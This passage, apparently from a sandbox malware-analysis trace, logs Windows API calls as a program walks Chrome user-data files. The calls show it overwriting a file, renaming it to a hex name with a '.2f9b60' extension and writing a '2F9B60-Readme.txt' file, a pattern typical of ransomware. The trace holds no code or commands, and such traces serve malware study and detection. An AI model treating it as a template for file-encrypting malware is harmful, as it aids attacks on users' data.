HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids-journal"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e9c [0224.503] GetFileSizeEx (in: hFile=0x1e9c, lpFileSize=0x32f4fce0 | out: lpFileSize=0x32f4fce0*=0) returned 1 [0224.503] FlushFileBuffers (hFile=0x1e9c) returned 1 [0224.639] CloseHandle (hObject=0x1e9c) returned 1 [0224.640] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal", dwFileAttributes=0x2020) returned 1 [0225.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43157360) returned 1 Thread: id = 3672 os_tid = 0x23dc [0218.272] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies")) returned 0x2020 [0219.906] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies", dwFileAttributes=0x20) returned 1 [0224.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xafc [0224.511] GetFileSizeEx (in: hFile=0xafc, lpFileSize=0x4aa1fda0 | out: lpFileSize=0x4aa1fda0*=7168) returned 1 [0224.511] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x1bfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.511] ReadFile (in: hFile=0xafc, lpBuffer=0x4aa1fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4aa1fd68, lpOverlapped=0x0 | out: lpBuffer=0x4aa1fd20*, lpNumberOfBytesRead=0x4aa1fd68*=0x4, lpOverlapped=0x0) returned 1 [0224.559] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0224.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ed0 [0224.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262420 [0224.560] NtQuerySystemTime (in: CurrentTime=0x4aa1fc60 | out: CurrentTime=0x4aa1fc60*=132462178285474000) returned 0x0 [0224.560] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x5b75b738 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x561a0c91 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x13279e8a [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x299a3e4a [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x41bf524c [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x7c209350 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x1cca15e [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x165ce2ce [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x5b496ca [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x608c3662 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x487caa6a [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x56a6996b [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x19623f41 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x216bfcd3 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x2576bc9a [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0xf0a12a1 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x5cfe8cdb [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x441970b2 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x55f48971 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x67df0348 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x5faba3c9 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x640dc345 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x20581280 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x1485efe8 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x145fa834 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x45643a13 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x52a4bd1 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0xe952171 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x1d46bfd [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x74c51033 [0224.561] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x770844db [0224.562] RtlRandomEx (in: Seed=0x4aa1fc50 | out: Seed=0x4aa1fc50) returned 0x5bd9cae8 [0224.572] ReadFile (in: hFile=0xafc, lpBuffer=0x41cee130, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x4aa1fc50, lpOverlapped=0x0 | out: lpBuffer=0x41cee130*, lpNumberOfBytesRead=0x4aa1fc50*=0x1c00, lpOverlapped=0x0) returned 1 [0224.595] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.595] WriteFile (in: hFile=0xafc, lpBuffer=0x41cd78d0*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x4aa1fc54, lpOverlapped=0x0 | out: lpBuffer=0x41cd78d0*, lpNumberOfBytesWritten=0x4aa1fc54*=0x1c00, lpOverlapped=0x0) returned 1 [0224.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b410 [0224.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0224.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0224.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd78d0) returned 1 [0224.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cee130) returned 1 [0224.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0224.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0224.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x431ac8a0 [0224.996] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0224.996] WriteFile (in: hFile=0xafc, lpBuffer=0x42c207b0*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x4aa1fd70, lpOverlapped=0x0 | out: lpBuffer=0x42c207b0*, lpNumberOfBytesWritten=0x4aa1fd70*=0x11c, lpOverlapped=0x0) returned 1 [0225.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2240 [0225.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0225.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a91f0 [0225.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a91f0) returned 1 [0225.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f8b0 [0225.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a91f0 [0225.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9460 [0225.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9460) returned 1 [0225.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0225.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2240) returned 1 [0225.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd862b0 [0225.447] sprintf (in: _Dest=0x1cd862b0, _Format="%c%c" | out: _Dest="57") returned 2 [0225.447] sprintf (in: _Dest=0x1cd862b2, _Format="%c%c" | out: _Dest="fb") returned 2 [0225.447] sprintf (in: _Dest=0x1cd862b4, _Format="%c%c" | out: _Dest="56") returned 2 [0225.447] sprintf (in: _Dest=0x1cd862b6, _Format="%c%c" | out: _Dest="18") returned 2 [0225.447] sprintf (in: _Dest=0x1cd862b8, _Format="%c%c" | out: _Dest="7f") returned 2 [0225.447] sprintf (in: _Dest=0x1cd862ba, _Format="%c%c" | out: _Dest="24") returned 2 [0225.447] sprintf (in: _Dest=0x1cd862bc, _Format="%c%c" | out: _Dest="88") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862be, _Format="%c%c" | out: _Dest="70") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862c0, _Format="%c%c" | out: _Dest="d8") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862c2, _Format="%c%c" | out: _Dest="96") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862c4, _Format="%c%c" | out: _Dest="44") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862c6, _Format="%c%c" | out: _Dest="1b") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862c8, _Format="%c%c" | out: _Dest="53") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862ca, _Format="%c%c" | out: _Dest="36") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862cc, _Format="%c%c" | out: _Dest="54") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862ce, _Format="%c%c" | out: _Dest="fd") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862d0, _Format="%c%c" | out: _Dest="c8") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862d2, _Format="%c%c" | out: _Dest="cc") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862d4, _Format="%c%c" | out: _Dest="15") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862d6, _Format="%c%c" | out: _Dest="99") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862d8, _Format="%c%c" | out: _Dest="6d") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862da, _Format="%c%c" | out: _Dest="3e") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862dc, _Format="%c%c" | out: _Dest="ce") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862de, _Format="%c%c" | out: _Dest="e8") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862e0, _Format="%c%c" | out: _Dest="12") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862e2, _Format="%c%c" | out: _Dest="28") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862e4, _Format="%c%c" | out: _Dest="da") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862e6, _Format="%c%c" | out: _Dest="be") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862e8, _Format="%c%c" | out: _Dest="b6") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862ea, _Format="%c%c" | out: _Dest="84") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862ec, _Format="%c%c" | out: _Dest="2a") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862ee, _Format="%c%c" | out: _Dest="32") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862f0, _Format="%c%c" | out: _Dest="69") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862f2, _Format="%c%c" | out: _Dest="a7") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862f4, _Format="%c%c" | out: _Dest="0a") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862f6, _Format="%c%c" | out: _Dest="c5") returned 2 [0225.448] sprintf (in: _Dest=0x1cd862f8, _Format="%c%c" | out: _Dest="30") returned 2 [0225.449] sprintf (in: _Dest=0x1cd862fa, _Format="%c%c" | out: _Dest="ab") returned 2 [0225.449] sprintf (in: _Dest=0x1cd862fc, _Format="%c%c" | out: _Dest="3e") returned 2 [0225.449] sprintf (in: _Dest=0x1cd862fe, _Format="%c%c" | out: _Dest="ff") returned 2 [0225.449] sprintf (in: _Dest=0x1cd86300, _Format="%c%c" | out: _Dest="4c") returned 2 [0225.449] sprintf (in: _Dest=0x1cd86302, _Format="%c%c" | out: _Dest="8e") returned 2 [0225.449] RtlInitAnsiString (in: DestinationString=0x4aa1fde8, SourceString="57fb56187f248870d896441b533654fdc8cc15996d3ecee81228dabeb6842a3269a70ac530ab3eff4c8e" | out: DestinationString="57fb56187f248870d896441b533654fdc8cc15996d3ecee81228dabeb6842a3269a70ac530ab3eff4c8e") [0225.449] RtlAnsiStringToUnicodeString (in: DestinationString=0x4aa1fdb8, SourceString="57fb56187f248870d896441b533654fdc8cc15996d3ecee81228dabeb6842a3269a70ac530ab3eff4c8e", AllocateDestinationString=1 | out: DestinationString="57fb56187f248870d896441b533654fdc8cc15996d3ecee81228dabeb6842a3269a70ac530ab3eff4c8e") returned 0x0 [0225.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x43128ea0 [0225.450] wcscat (in: _Dest=0x43113010, _Source="57fb56187f248870d8964" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\57fb56187f248870d8964") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\57fb56187f248870d8964" [0225.450] wcscat (in: _Dest=0x43113010, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\57fb56187f248870d8964.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\57fb56187f248870d8964.2f9b60" [0225.450] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\57fb56187f248870d8964.2f9b60", NtPathName=0x4aa1fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\57fb56187f248870d8964.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0225.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1b798e90 [0225.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798e90) returned 1 [0225.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430839f0) returned 1 [0225.962] NtQueryInformationFile (in: FileHandle=0xafc, IoStatusBlock=0x4aa1fdf8, FileInformation=0x4aa1fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4aa1fdf8, FileInformation=0x4aa1fe08) returned 0x0 [0225.962] NtSetInformationFile (FileHandle=0xafc, IoStatusBlock=0x4aa1fdf8, FileInformation=0x4aa1fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0226.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43113010) returned 1 [0226.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43128ea0) returned 1 [0226.368] FlushFileBuffers (hFile=0xafc) returned 1 [0226.369] CloseHandle (hObject=0xafc) returned 1 [0226.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x4311ad20 [0226.858] wcscpy (in: _Dest=0x4311ad20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0226.858] wcscat (in: _Dest=0x4311ad20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\2F9B60-Readme.txt" [0226.859] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\2f9b60-readme.txt")) returned 0xffffffff [0226.859] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1040 [0227.298] WriteFile (in: hFile=0x1040, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x4aa1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x4aa1fcb0*=0xba9, lpOverlapped=0x0) returned 1 [0234.182] CloseHandle (hObject=0x1040) returned 1 [0238.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311ad20) returned 1 [0238.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314c460) returned 1 Thread: id = 3673 os_tid = 0xf84 [0218.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies-journal")) returned 0x2020 [0219.906] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal", dwFileAttributes=0x20) returned 1 [0224.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies-journal"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xec0 [0224.506] GetFileSizeEx (in: hFile=0xec0, lpFileSize=0x4ef3faa0 | out: lpFileSize=0x4ef3faa0*=0) returned 1 [0224.506] FlushFileBuffers (hFile=0xec0) returned 1 [0224.662] CloseHandle (hObject=0xec0) returned 1 [0224.662] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal", dwFileAttributes=0x2020) returned 1 [0226.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c530) returned 1 Thread: id = 3674 os_tid = 0x15dc [0218.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x4312c160 [0218.274] wcscpy (in: _Dest=0x4312c160, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0218.275] wcscat (in: _Dest=0x4312c160, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\" [0218.275] wcscat (in: _Dest=0x4312c160, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*" [0218.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fa60 [0218.275] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*", lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0219.895] wcscmp (_String1=".", _String2=".") returned 0 [0219.895] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.895] wcscmp (_String1="..", _String2=".") returned 1 [0219.895] wcscmp (_String1="..", _String2="..") returned 0 [0219.895] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.895] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0219.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1fa60) returned 1 [0219.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312c160) returned 1 [0219.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ec720) returned 1 Thread: id = 3675 os_tid = 0x1618 [0218.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431097a0 [0218.285] wcscpy (in: _Dest=0x431097a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0218.285] wcscat (in: _Dest=0x431097a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\" [0218.285] wcscat (in: _Dest=0x431097a0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*" [0218.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f0a0 [0218.285] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*", lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0219.899] wcscmp (_String1=".", _String2=".") returned 0 [0219.899] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.899] wcscmp (_String1="..", _String2=".") returned 1 [0219.899] wcscmp (_String1="..", _String2="..") returned 0 [0219.899] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.899] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0219.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f0a0) returned 1 [0219.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 